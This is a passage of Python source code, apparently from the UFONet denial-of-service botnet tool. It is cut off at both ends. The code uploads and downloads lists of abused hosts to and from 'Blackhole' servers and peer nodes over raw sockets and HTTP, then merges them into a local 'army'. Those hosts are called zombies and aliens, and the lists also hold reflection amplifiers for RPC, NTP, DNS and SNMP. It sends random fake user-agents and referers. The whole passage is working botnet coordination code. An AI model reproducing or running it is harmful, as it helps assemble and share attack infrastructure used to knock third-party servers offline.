if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
2376
os.remove('botnet/abductions.txt') # remove abductions file
2377
os.remove('botnet/troops.txt') # remove troops file
2378
os.remove('botnet/robots.txt') # remove robots file
2379
os.remove('botnet/drones.txt') # remove ucavs file
2380
os.remove('botnet/reflectors.txt') # remove rpcs file
2381
os.remove('botnet/crystals.txt') # remove crystals file
2382
os.remove('botnet/warps.txt') # remove warps file
2383
os.remove('botnet/bosons.txt') # remove snmps file
2384
print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n")
2385
return
2386
else:
2387
print("[Info] [AI] Trying to upload new [Zombies] to [Blackhole]...\n")
2388
fc = gzip.open('botnet/community_zombies.txt.gz', 'wb')
2389
for zombie in zombies_community:
2390
fc.write(b'zombie.strip()')
2391
fc.close()
2392
os.remove('botnet/abductions.txt') # remove abductions file
2393
fc = gzip.open('botnet/community_aliens.txt.gz', 'wb')
2394
for alien in aliens_community:
2395
fc.write(b'alien.strip()')
2396
fc.close()
2397
os.remove('botnet/troops.txt') # remove troops file
2398
fc = gzip.open('botnet/community_droids.txt.gz', 'wb')
2399
for droid in droids_community:
2400
fc.write(b'droid.strip()')
2401
fc.close()
2402
os.remove('botnet/robots.txt') # remove robots file
2403
fc = gzip.open('botnet/community_ucavs.txt.gz', 'wb')
2404
for ucav in ucavs_community:
2405
fc.write(b'ucav.strip()')
2406
fc.close()
2407
os.remove('botnet/drones.txt') # remove drones file
2408
fc = gzip.open('botnet/community_rpcs.txt.gz', 'wb')
2409
for rpc in rpcs_community:
2410
fc.write(b'rpc.strip()')
2411
fc.close()
2412
os.remove('botnet/reflectors.txt') # remove reflectors file
2413
fc = gzip.open('botnet/community_ntps.txt.gz', 'wb')
2414
for ntp in ntps_community:
2415
fc.write(b'ntp.strip()')
2416
fc.close()
2417
os.remove('botnet/crystals.txt') # remove crystals file
2418
fc = gzip.open('botnet/community_dnss.txt.gz', 'wb')
2419
for dns in dnss_community:
2420
fc.write(b'dns.strip()')
2421
fc.close()
2422
os.remove('botnet/warps.txt') # remove warps file
2423
fc = gzip.open('botnet/community_snmps.txt.gz', 'wb')
2424
for snmp in snmps_community:
2425
fc.write(b'snmp.strip()')
2426
fc.close()
2427
os.remove('botnet/bosons.txt') # remove bosons file
2428
try: # open a socket and send data to the blackhole reciever port
2429
host = self.blackhole
2430
cport = 9991
2431
mport = 9990
2432
try:
2433
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data
2434
cs.connect((host, cport))
2435
cs.send(("SEND " + 'community_zombies.txt.gz').encode())
2436
cs.close()
2437
f = open('botnet/community_zombies.txt.gz', "rb")
2438
data = f.read()
2439
f.close()
2440
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2441
ms.connect((host, mport))
2442
ms.send(data)
2443
ms.close()
2444
os.remove('botnet/community_zombies.txt.gz') # remove local zombies .gz file after transfer
2445
time.sleep(1)
2446
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2447
cs.connect((host, cport))
2448
cs.send(("SEND " + 'community_aliens.txt.gz').encode())
2449
cs.close()
2450
f = open('botnet/community_aliens.txt.gz', "rb")
2451
data = f.read()
2452
f.close()
2453
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2454
ms.connect((host, mport))
2455
ms.send(data)
2456
ms.close()
2457
os.remove('botnet/community_aliens.txt.gz') # remove local aliens .gz file after transfer
2458
time.sleep(1)
2459
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2460
cs.connect((host, cport))
2461
cs.send(("SEND " + 'community_robots.txt.gz').encode())
2462
cs.close()
2463
f = open('botnet/community_droids.txt.gz', "rb")
2464
data = f.read()
2465
f.close()
2466
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2467
ms.connect((host, mport))
2468
ms.send(data)
2469
ms.close()
2470
os.remove('botnet/community_droids.txt.gz') # remove local droids .gz file after transfer
2471
time.sleep(1)
2472
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2473
cs.connect((host, cport))
2474
cs.send(("SEND " + 'community_ucavs.txt.gz').encode())
2475
cs.close()
2476
f = open('botnet/community_ucavs.txt.gz', "rb")
2477
data = f.read()
2478
f.close()
2479
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2480
ms.connect((host, mport))
2481
ms.send(data)
2482
ms.close()
2483
os.remove('botnet/community_ucavs.txt.gz') # remove local ucavs .gz file after transfer
2484
time.sleep(1)
2485
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
2486
cs.connect((host, cport))
2487
cs.send(("SEND " + 'community_rpcs.txt.gz').encode())
2488
cs.close()
2489
f = open('botnet/community_rpcs.txt.gz', "rb")
2490
data = f.read()
2491
f.close()
2492
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2493
ms.connect((host, mport))
2494
ms.send(data)
2495
ms.close()
2496
os.remove('botnet/community_rpcs.txt.gz') # remove local rpcs .gz file after transfer
2497
time.sleep(1)
2498
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
2499
cs.connect((host, cport))
2500
cs.send(("SEND " + 'community_ntps.txt.gz').encode())
2501
cs.close()
2502
f = open('botnet/community_ntps.txt.gz', "rb")
2503
data = f.read()
2504
f.close()
2505
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2506
ms.connect((host, mport))
2507
ms.send(data)
2508
ms.close()
2509
os.remove('botnet/community_ntps.txt.gz') # remove local ntps .gz file after transfer
2510
time.sleep(1)
2511
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
2512
cs.connect((host, cport))
2513
cs.send(("SEND " + 'community_dnss.txt.gz').encode())
2514
cs.close()
2515
f = open('botnet/community_dnss.txt.gz', "rb")
2516
data = f.read()
2517
f.close()
2518
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2519
ms.connect((host, mport))
2520
ms.send(data)
2521
ms.close()
2522
os.remove('botnet/community_dnss.txt.gz') # remove local dnss .gz file after transfer
2523
time.sleep(1)
2524
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading
2525
cs.connect((host, cport))
2526
cs.send(("SEND " + 'community_snmps.txt.gz').encode())
2527
cs.close()
2528
f = open('botnet/community_snmps.txt.gz', "rb")
2529
data = f.read()
2530
f.close()
2531
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
2532
ms.connect((host, mport))
2533
ms.send(data)
2534
ms.close()
2535
os.remove('botnet/community_snmps.txt.gz') # remove local snmps .gz file after transfer
2536
time.sleep(2) # sleep a bit more
2537
print('-'*12 + '\n')
2538
print("[Info] [AI] Transfer -> [DONE!]\n")
2539
except Exception as e:
2540
print(str(e) + "\n")
2541
except:
2542
print('-'*12 + '\n')
2543
print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n")
2544
return
2545
except Exception as e:
2546
print(str(e) + "\n")
2547
print('-'*12 + '\n')
2548
print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n")
2549
return
2550
2551
def update_gui_data(self):
2552
# download all GUI stream data
2553
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
2554
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
2555
if self.options.proxy: # set proxy
2556
self.proxy_transport(self.options.proxy)
2557
if self.options.timeout: # set timeout
2558
try:
2559
timeout = int(self.options.timeout)
2560
except:
2561
timeout = 5
2562
else:
2563
timeout = 5
2564
if timeout < 1:
2565
timeout = 5
2566
if self.options.forcessl:
2567
news = urllib.request.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers)
2568
news_reply = urllib.request.urlopen(news, context=self.ctx, timeout=timeout).read().decode('utf-8')
2569
tv = urllib.request.Request('https://'+self.blackhole+'/ufonet/tv.txt', None, headers)
2570
tv_reply = urllib.request.urlopen(tv, context=self.ctx, timeout=timeout).read().decode('utf-8')
2571
missions = urllib.request.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers)
2572
missions_reply = urllib.request.urlopen(missions, context=self.ctx, timeout=timeout).read().decode('utf-8')
2573
board = urllib.request.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers)
2574
board_reply = urllib.request.urlopen(board, context=self.ctx, timeout=timeout).read().decode('utf-8')
2575
grid = urllib.request.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers)
2576
grid_reply = urllib.request.urlopen(grid, context=self.ctx, timeout=timeout).read().decode('utf-8')
2577
wargames = urllib.request.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
2578
wargames_reply = urllib.request.urlopen(wargames, context=self.ctx, timeout=timeout).read().decode('utf-8')
2579
links = urllib.request.Request('https://'+self.blackhole+'/ufonet/links.txt', None, headers)
2580
links_reply = urllib.request.urlopen(links, context=self.ctx, timeout=timeout).read().decode('utf-8')
2581
streams = urllib.request.Request('https://'+self.blackhole+'/ufonet/streams.txt', None, headers)
2582
streams_reply = urllib.request.urlopen(streams, context=self.ctx, timeout=timeout).read().decode('utf-8')
2583
globalnet = urllib.request.Request('https://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
2584
globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx, timeout=timeout).read().decode('utf-8')
2585
nodes = urllib.request.Request('https://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
2586
nodes_reply = urllib.request.urlopen(nodes, context=self.ctx, timeout=timeout).read().decode('utf-8')
2587
else:
2588
news = urllib.request.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers)
2589
news_reply = urllib.request.urlopen(news, context=self.ctx).read().decode('utf-8')
2590
tv = urllib.request.Request('http://'+self.blackhole+'/ufonet/tv.txt', None, headers)
2591
tv_reply = urllib.request.urlopen(tv, context=self.ctx).read().decode('utf-8')
2592
missions = urllib.request.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers)
2593
missions_reply = urllib.request.urlopen(missions, context=self.ctx).read().decode('utf-8')
2594
board = urllib.request.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers)
2595
board_reply = urllib.request.urlopen(board, context=self.ctx).read().decode('utf-8')
2596
grid = urllib.request.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers)
2597
grid_reply = urllib.request.urlopen(grid, context=self.ctx).read().decode('utf-8')
2598
wargames = urllib.request.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers)
2599
wargames_reply = urllib.request.urlopen(wargames, context=self.ctx).read().decode('utf-8')
2600
links = urllib.request.Request('http://'+self.blackhole+'/ufonet/links.txt', None, headers)
2601
links_reply = urllib.request.urlopen(links, context=self.ctx).read().decode('utf-8')
2602
streams = urllib.request.Request('http://'+self.blackhole+'/ufonet/streams.txt', None, headers)
2603
streams_reply = urllib.request.urlopen(streams, context=self.ctx).read().decode('utf-8')
2604
globalnet = urllib.request.Request('http://'+self.blackhole+'/ufonet/globalnet.txt', None, headers)
2605
globalnet_reply = urllib.request.urlopen(globalnet, context=self.ctx).read().decode('utf-8')
2606
nodes = urllib.request.Request('http://'+self.blackhole+'/ufonet/nodes.txt', None, headers)
2607
nodes_reply = urllib.request.urlopen(nodes, context=self.ctx).read().decode('utf-8')
2608
f = open(self.news_file, 'w')
2609
f.write(news_reply)
2610
f.close()
2611
f = open(self.tv_file, 'w')
2612
f.write(tv_reply)
2613
f.close()
2614
f = open(self.missions_file, 'w')
2615
f.write(missions_reply)
2616
f.close()
2617
f = open(self.board_file, 'w')
2618
f.write(board_reply)
2619
f.close()
2620
f = open(self.grid_file, 'w')
2621
f.write(grid_reply)
2622
f.close()
2623
f = open(self.wargames_file, 'w')
2624
f.write(wargames_reply)
2625
f.close()
2626
f = open(self.links_file, 'w')
2627
f.write(links_reply)
2628
f.close()
2629
f = open(self.streams_file, 'w')
2630
f.write(streams_reply)
2631
f.close()
2632
f = open(self.globalnet_file, 'w')
2633
f.write(globalnet_reply)
2634
f.close()
2635
f = open(self.nodes_file, 'w')
2636
f.write(nodes_reply)
2637
f.close()
2638
print('-'*25 + "\n")
2639
print("[Info] [AI] GUI data correctly updated:\n")
2640
if news_reply:
2641
print("[Info] [AI] [News] : OK!")
2642
if missions_reply:
2643
print("[Info] [AI] [Missions] : OK!")
2644
if board_reply:
2645
print("[Info] [AI] [Board] : OK!")
2646
if grid_reply:
2647
print("[Info] [AI] [Grid] : OK!")
2648
if wargames_reply:
2649
print("[Info] [AI] [Wargames] : OK!")
2650
if links_reply:
2651
print("[Info] [AI] [Links] : OK!")
2652
if streams_reply:
2653
print("[Info] [AI] [Streams] : OK!")
2654
if tv_reply:
2655
print("[Info] [AI] [TV] : OK!")
2656
if globalnet_reply:
2657
print("[Info] [AI] [GlobalNet]: OK!")
2658
if nodes_reply:
2659
print("[Info] [AI] [Nodes] : OK!")
2660
print('-'*25)
2661
print("\n[AI] "+self.exit_msg+"\n")
2662
2663
def downloading_list(self):
2664
# add your mirror to protect/share/distribute... [Zombies]
2665
try:
2666
print(("[AI] Trying [Blackhole] [Server]: "+self.blackhole+"\n"))
2667
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
2668
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
2669
if self.options.timeout: # set timeout
2670
try:
2671
timeout = int(self.options.timeout)
2672
except:
2673
timeout = 5
2674
else:
2675
timeout = 5
2676
if timeout < 1:
2677
timeout = 5
2678
if self.options.proxy: # set proxy
2679
self.proxy_transport(self.options.proxy)
2680
if self.options.forcessl:
2681
try:
2682
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
2683
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2684
except:
2685
abductions_reply = ""
2686
try:
2687
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
2688
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2689
except:
2690
troops_reply = ""
2691
try:
2692
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
2693
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2694
except:
2695
robots_reply = ""
2696
try:
2697
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
2698
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2699
except:
2700
drones_reply = ""
2701
try:
2702
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
2703
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2704
except:
2705
reflectors_reply = ""
2706
try:
2707
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
2708
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2709
except:
2710
crystals_reply = ""
2711
try:
2712
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
2713
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2714
except:
2715
warps_reply = ""
2716
try:
2717
req = urllib.request.Request('https://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
2718
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2719
except:
2720
bosons_reply = ""
2721
else:
2722
try:
2723
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers)
2724
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2725
except:
2726
abductions_reply = ""
2727
try:
2728
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers)
2729
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2730
except:
2731
troops_reply = ""
2732
try:
2733
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers)
2734
robots_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2735
except:
2736
robots_reply = ""
2737
try:
2738
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers)
2739
drones_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2740
except:
2741
drones_reply = ""
2742
try:
2743
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers)
2744
reflectors_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2745
except:
2746
reflectors_reply = ""
2747
try:
2748
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/crystals.txt.gz', None, headers)
2749
crystals_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2750
except:
2751
crystals_reply = ""
2752
try:
2753
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/warps.txt.gz', None, headers)
2754
warps_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2755
except:
2756
warps_reply = ""
2757
try:
2758
req = urllib.request.Request('http://'+self.blackhole+'/ufonet/bosons.txt.gz', None, headers)
2759
bosons_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
2760
except:
2761
bosons_reply = ""
2762
if abductions_reply == "" and troops_reply == "" and robots_reply == "" and drones_reply == "" and reflectors_reply == "" and crystals_reply == "" and warps_reply == "" and bosons_reply == "":
2763
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
2764
print('-'*12 + '\n')
2765
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
2766
return
2767
f = open('botnet/abductions.txt.gz', 'wb')
2768
f.write(abductions_reply)
2769
f.close()
2770
f = open('botnet/troops.txt.gz', 'wb')
2771
f.write(troops_reply)
2772
f.close()
2773
f = open('botnet/robots.txt.gz', 'wb')
2774
f.write(robots_reply)
2775
f.close()
2776
f = open('botnet/drones.txt.gz', 'wb')
2777
f.write(drones_reply)
2778
f.close()
2779
f = open('botnet/reflectors.txt.gz', 'wb')
2780
f.write(reflectors_reply)
2781
f.close()
2782
f = open('botnet/crystals.txt.gz', 'wb')
2783
f.write(crystals_reply)
2784
f.close()
2785
f = open('botnet/warps.txt.gz', 'wb')
2786
f.write(warps_reply)
2787
f.close()
2788
f = open('botnet/bosons.txt.gz', 'wb')
2789
f.write(bosons_reply)
2790
f.close()
2791
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX READY!] ;-)")
2792
except:
2793
print("[AI] [Control] [Blackhole] [Server] Reply: [VORTEX FAILED!]")
2794
print('-'*12 + '\n')
2795
print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [Server] -> [Exiting!]\n")
2796
return
2797
print('-'*12 + '\n')
2798
f_in_abductions = gzip.open('botnet/abductions.txt.gz', 'rb')
2799
f_out_abductions = open('botnet/abductions.txt', 'wb')
2800
f_out_abductions.write(f_in_abductions.read())
2801
f_in_abductions.close()
2802
f_out_abductions.close()
2803
os.remove('botnet/abductions.txt.gz') # remove abductions .gz file
2804
f_in_troops = gzip.open('botnet/troops.txt.gz', 'rb')
2805
f_out_troops = open('botnet/troops.txt', 'wb')
2806
f_out_troops.write(f_in_troops.read())
2807
f_in_troops.close()
2808
f_out_troops.close()
2809
os.remove('botnet/troops.txt.gz') # remove troops .gz file
2810
f_in_robots = gzip.open('botnet/robots.txt.gz', 'rb')
2811
f_out_robots = open('botnet/robots.txt', 'wb')
2812
f_out_robots.write(f_in_robots.read())
2813
f_in_robots.close()
2814
f_out_robots.close()
2815
os.remove('botnet/robots.txt.gz') # remove robots .gz file
2816
f_in_drones = gzip.open('botnet/drones.txt.gz', 'rb')
2817
f_out_drones = open('botnet/drones.txt', 'wb')
2818
f_out_drones.write(f_in_drones.read())
2819
f_in_drones.close()
2820
f_out_drones.close()
2821
os.remove('botnet/drones.txt.gz') # remove drones .gz file
2822
f_in_reflectors = gzip.open('botnet/reflectors.txt.gz', 'rb')
2823
f_out_reflectors = open('botnet/reflectors.txt', 'wb')
2824
f_out_reflectors.write(f_in_reflectors.read())
2825
f_in_reflectors.close()
2826
f_out_reflectors.close()
2827
os.remove('botnet/reflectors.txt.gz') # remove reflectors .gz file
2828
f_in_crystals = gzip.open('botnet/crystals.txt.gz', 'rb')
2829
f_out_crystals = open('botnet/crystals.txt', 'wb')
2830
f_out_crystals.write(f_in_crystals.read())
2831
f_in_crystals.close()
2832
f_out_crystals.close()
2833
os.remove('botnet/crystals.txt.gz') # remove crystals .gz file
2834
f_in_warps = gzip.open('botnet/warps.txt.gz', 'rb')
2835
f_out_warps = open('botnet/warps.txt', 'wb')
2836
f_out_warps.write(f_in_warps.read())
2837
f_in_warps.close()
2838
f_out_warps.close()
2839
os.remove('botnet/warps.txt.gz') # remove warps .gz file
2840
f_in_bosons = gzip.open('botnet/bosons.txt.gz', 'rb')
2841
f_out_bosons = open('botnet/bosons.txt', 'wb')
2842
f_out_bosons.write(f_in_bosons.read())
2843
f_in_bosons.close()
2844
f_out_bosons.close()
2845
os.remove('botnet/bosons.txt.gz') # remove bosons .gz file
2846
num_abductions = 0
2847
with open('botnet/abductions.txt') as f:
2848
for _ in f:
2849
num_abductions = num_abductions + 1
2850
print("[Info] Zombies: " + str(num_abductions))
2851
num_robots = 0
2852
with open('botnet/robots.txt') as f:
2853
for _ in f:
2854
num_robots = num_robots + 1
2855
print("[Info] Droids : " + str(num_robots))
2856
num_troops = 0
2857
with open('botnet/troops.txt') as f:
2858
for _ in f:
2859
num_troops = num_troops + 1
2860
print("[Info] Aliens : " + str(num_troops))
2861
num_drones = 0
2862
with open('botnet/drones.txt') as f:
2863
for _ in f:
2864
num_drones = num_drones + 1
2865
print("[Info] UCAVs : " + str(num_drones))
2866
num_reflectors = 0
2867
with open('botnet/reflectors.txt') as f:
2868
for _ in f:
2869
num_reflectors = num_reflectors + 1
2870
print("[Info] X-RPCs : " + str(num_reflectors))
2871
num_crystals = 0
2872
with open('botnet/crystals.txt') as f:
2873
for _ in f:
2874
num_crystals = num_crystals + 1
2875
print("[Info] DNSs : " + str(num_crystals))
2876
num_warps = 0
2877
with open('botnet/warps.txt') as f:
2878
for _ in f:
2879
num_warps = num_warps + 1
2880
print("[Info] NTPs : " + str(num_warps))
2881
num_bosons = 0
2882
with open('botnet/bosons.txt') as f:
2883
for _ in f:
2884
num_bosons = num_bosons + 1
2885
print("[Info] SNMPs : " + str(num_bosons))
2886
total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
2887
print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
2888
print('-'*12)
2889
if not self.options.forceyes:
2890
update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
2891
print('-'*25)
2892
else:
2893
update_reply = "Y"
2894
if update_reply == "n" or update_reply == "N":
2895
os.remove('botnet/abductions.txt') # remove abductions file
2896
os.remove('botnet/troops.txt') # remove troops file
2897
os.remove('botnet/robots.txt') # remove robots file
2898
os.remove('botnet/drones.txt') # remove drones file
2899
os.remove('botnet/reflectors.txt') # remove reflectors file
2900
os.remove('botnet/crystals.txt') # remove crystals file
2901
os.remove('botnet/warps.txt') # remove warps file
2902
os.remove('botnet/bosons.txt') # remove bosons file
2903
print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
2904
print('-'*25)
2905
print("\n[AI] "+self.exit_msg+"\n")
2906
else:
2907
zombies_ready = []
2908
f = open('botnet/abductions.txt')
2909
abductions = f.readlines()
2910
f.close()
2911
fz = open(self.zombies_file)
2912
zombies = fz.readlines()
2913
fz.close()
2914
for abduction in abductions:
2915
abduction = abduction.replace('\n','')
2916
if abduction not in zombies:
2917
zombies_ready.append(abduction)
2918
else:
2919
pass
2920
self.update_zombies(zombies_ready)
2921
os.remove('botnet/abductions.txt') # remove abductions .txt file
2922
aliens_ready = []
2923
f = open('botnet/troops.txt')
2924
troops = f.readlines()
2925
f.close()
2926
fz = open(self.aliens_file)
2927
aliens = fz.readlines()
2928
fz.close()
2929
for alien in troops:
2930
alien = alien.replace('\n','')
2931
if alien not in aliens:
2932
aliens_ready.append(alien)
2933
else:
2934
pass
2935
self.update_aliens(aliens_ready)
2936
os.remove('botnet/troops.txt') # remove troops .txt file
2937
droids_ready = []
2938
f = open('botnet/robots.txt')
2939
robots = f.readlines()
2940
f.close()
2941
fz = open(self.droids_file)
2942
droids = fz.readlines()
2943
fz.close()
2944
for droid in robots:
2945
droid = droid.replace('\n','')
2946
if droid not in droids:
2947
droids_ready.append(droid)
2948
else:
2949
pass
2950
self.update_droids(droids_ready)
2951
os.remove('botnet/robots.txt') # remove robots .txt file
2952
ucavs_ready = []
2953
f = open('botnet/drones.txt')
2954
drones = f.readlines()
2955
f.close()
2956
fz = open(self.ucavs_file)
2957
ucavs = fz.readlines()
2958
fz.close()
2959
for drone in drones:
2960
drone = drone.replace('\n','')
2961
if drone not in ucavs:
2962
ucavs_ready.append(drone)
2963
else:
2964
pass
2965
self.update_ucavs(ucavs_ready)
2966
os.remove('botnet/drones.txt') # remove drones .txt file
2967
rpcs_ready = []
2968
f = open('botnet/reflectors.txt')
2969
reflectors = f.readlines()
2970
f.close()
2971
fz = open(self.rpcs_file)
2972
rpcs = fz.readlines()
2973
fz.close()
2974
for reflector in reflectors:
2975
reflector = reflector.replace('\n','')
2976
if reflector not in rpcs:
2977
rpcs_ready.append(reflector)
2978
else:
2979
pass
2980
self.update_rpcs(rpcs_ready)
2981
os.remove('botnet/reflectors.txt') # remove reflectors .txt file
2982
dnss_ready = []
2983
f = open('botnet/crystals.txt')
2984
crystals = f.readlines()
2985
f.close()
2986
fz = open(self.dnss_file)
2987
dnss = fz.readlines()
2988
fz.close()
2989
for crystal in crystals:
2990
crystal = crystal.replace('\n','')
2991
if crystal not in dnss:
2992
dnss_ready.append(crystal)
2993
else:
2994
pass
2995
self.update_dnss(dnss_ready)
2996
os.remove('botnet/crystals.txt') # remove crystals .txt file
2997
ntps_ready = []
2998
f = open('botnet/warps.txt')
2999
warps = f.readlines()
3000
f.close()
3001
fz = open(self.ntps_file)
3002
ntps = fz.readlines()
3003
fz.close()
3004
for warp in warps:
3005
warp = warp.replace('\n','')
3006
if warp not in ntps:
3007
ntps_ready.append(warp)
3008
else:
3009
pass
3010
self.update_ntps(ntps_ready)
3011
os.remove('botnet/warps.txt') # remove warps .txt file
3012
snmps_ready = []
3013
f = open('botnet/bosons.txt')
3014
bosons = f.readlines()
3015
f.close()
3016
fz = open(self.snmps_file)
3017
snmps = fz.readlines()
3018
fz.close()
3019
for boson in bosons:
3020
boson = boson.replace('\n','')
3021
if boson not in snmps:
3022
snmps_ready.append(boson)
3023
else:
3024
pass
3025
self.update_snmps(snmps_ready)
3026
os.remove('botnet/bosons.txt') # remove bosons .txt file
3027
print("\n[Info] [AI] Botnet updated! -> ;-)")
3028
self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
3029
if not self.options.forceyes: # ask for update everything
3030
print('-'*25 + "\n")
3031
update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
3032
else:
3033
update_reply = "Y"
3034
if update_reply == "n" or update_reply == "N":
3035
print("\n[AI] "+self.exit_msg+"\n")
3036
return
3037
else:
3038
try:
3039
update_gui = self.update_gui_data() # update GUI data
3040
except:
3041
print('-'*25 +"\n")
3042
print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
3043
print('-'*25)
3044
print("\n[AI] "+self.exit_msg+"\n")
3045
return
3046
3047
def downloading_nodes_list(self):
3048
# add your node to protect/share/distribute... [Zombies]
3049
from io import BytesIO
3050
self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
3051
headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
3052
n = open(self.globalnet_file, 'r')
3053
nodes = n.readlines()
3054
n.close()
3055
if not nodes:
3056
print("[AI] [Control] Not any [Nodes] present in your [Radar]... [Exiting!]\n")
3057
return
3058
globalnet_list = []
3059
if self.options.timeout: # set timeout
3060
try:
3061
timeout = int(self.options.timeout)
3062
except:
3063
timeout = 5
3064
else:
3065
timeout = 5
3066
if timeout < 1:
3067
timeout = 5
3068
if self.options.proxy: # set proxy
3069
self.proxy_transport(self.options.proxy)
3070
globalnet_ip_list = [] # used to check for repetitions
3071
for m in nodes:
3072
m = m.replace('\n','')
3073
if self.globalnet_msg_sep in m:
3074
m = m.split(self.globalnet_msg_sep)
3075
enc_globalnet_owner = m[0] # owner
3076
enc_globalnet_comment = m[1] # comment
3077
enc_globalnet_warp = m[2] # warp
3078
enc_globalnet_ip = m[3] # extract IP
3079
self.decrypt(self.crypto_key, enc_globalnet_ip)
3080
if self.decryptedtext:
3081
globalnet_ip = self.decryptedtext
3082
if globalnet_ip not in globalnet_ip_list:
3083
globalnet_ip_list.append(globalnet_ip)
3084
else:
3085
return
3086
self.decryptedtext = "" # clean decryptedtext buffer
3087
print("[AI] Trying [Radar] [Blackhole] [Node]:", globalnet_ip, "\n")
3088
if self.options.forcessl:
3089
if self.options.proxy: # set proxy
3090
self.proxy_transport(options.proxy)
3091
try:
3092
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/abductions.txt.gz', None, headers)
3093
abductions_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3094
except:
3095
abductions_reply = ""
3096
try:
3097
req = urllib.request.Request('https://'+globalnet_ip+'/ufonet/troops.txt.gz', None, headers)
3098
troops_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read()
3099
except:
3100
